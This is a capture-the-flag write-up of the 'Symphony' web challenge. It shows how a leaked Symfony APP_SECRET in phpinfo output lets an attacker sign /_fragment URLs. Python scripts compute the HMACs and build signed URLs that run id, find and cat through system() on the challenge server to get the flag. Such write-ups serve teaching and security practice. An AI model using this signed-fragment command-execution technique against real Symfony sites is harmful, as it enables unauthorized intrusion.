Symphony writeup

Posted on Mon 14 March 2022 in ctf

Web

🎵

challenge description

If we inspect the website at the given link we can see that is displays the output of phpinfo() output of phpinfo()

Further down in the page we see two interesting environment variables APP_SECRET and SYMFONY_DOTENV_VARS

app_secret

This indicated that the page is built with Symphony.

After some googling I found the following blog post that describes a way to gain remote code execution in Symphony based websites.

Testing for vulnerability

To test whether we can apply this exploit or not we open http://challs.dvc.tf:9000/_fragment which returns the expected HTTP 403.

403 at /_fragment

Calculate valid signature

As described in the blog post we calculate the proper HMAC with the exposed APP_SECRET and the URL we want to access:

# APP_SECRET exposed from phpinfo: 60b938ad59ac73568c7f2d6c282cd084

# calculate HMAC with secret and URL
import base64, hmac, hashlib
print(base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', b'http://challs.dvc.tf:9000/_fragment', hashlib.sha256).digest()))
# b'fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk+CE2/i/k='

# add calculated HMAC to request
# http://challs.dvc.tf:9000/_fragment?_hash=fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk+CE2/i/k=

# url encode
# http://challs.dvc.tf:9000/_fragment?_hash=fyV4XdLD0haRSGyIJA4CMbbai6jSknB09Tk%2BCE2%2Fi%2Fk%3D

Now the webserver returns HTTP 404 instead of 403: 404

Remote code execution

We now know that we can properly calculate the HMAC so we try to run some code on the server:

# calculate HMAC for call to system("id", null) which would be called with
# http://challs.dvc.tf:9000/_fragment?_path=_controller=system&command=id&return_value=null
import base64, hmac, hashlib
print(base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', b'http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull', hashlib.sha256).digest()))
# b'KMwS5Oc86Op3T32GVDjKUlzlRcWrqAkXP/HpBI50WiE='

# Append hash to url
# http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=KMwS5Oc86Op3T32GVDjKUlzlRcWrqAkXP%2FHpBI50WiE%3D

output of system($command)

We can see the result of running id by calling system($command).

Retrieving the flag

Now let's use find to find the flag. Using the following script we can generate URLs for running arbitrary commands on the server:

import base64, hmac, hashlib
import urllib.parse

appSecret = b'60b938ad59ac73568c7f2d6c282cd084'
baseUrl = 'http://challs.dvc.tf:9000/_fragment?_path=_controller%3D'
command = "system&command=find%20%2F%20-name%20flag.%2A&return_value=null"
fullUrl = baseUrl + urllib.parse.quote(command)
hash = base64.b64encode(hmac.HMAC(b'60b938ad59ac73568c7f2d6c282cd084', fullUrl.encode('UTF-8'), hashlib.sha256).digest())

print(fullUrl + '&_hash=' + urllib.parse.quote(hash))

This gives us the URL http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Dfind%2520%252F%2520-name%2520flag.%252A%26return_value%3Dnull&_hash=fQFSkmoPF7cmMBKMyTUdOJGkIIGKuWJKi3NOK7lA2HI%3D which reveals the flag

ls flag file

So we create a new URL by replacing the command with "system&command=cat%20%2Fvar%2Fwww%2Fhtml%2Fchall%2Fflag.txt%20&return_value=null". The new URL is http://challs.dvc.tf:9000/_fragment?_path=_controller%3Dsystem%26command%3Dcat%2520%252Fvar%252Fwww%252Fhtml%252Fchall%252Fflag.txt%2520%26return_value%3Dnull&_hash=3gkvuAFZrCeS0a0xE51myb6xBQejXT3x0uZRJi0GcK8%3D.

cat flag

Entering this URL in the browser gives us the flag dvCTF{1c5b0abc99b19effaacd1aa7d6ec28f8}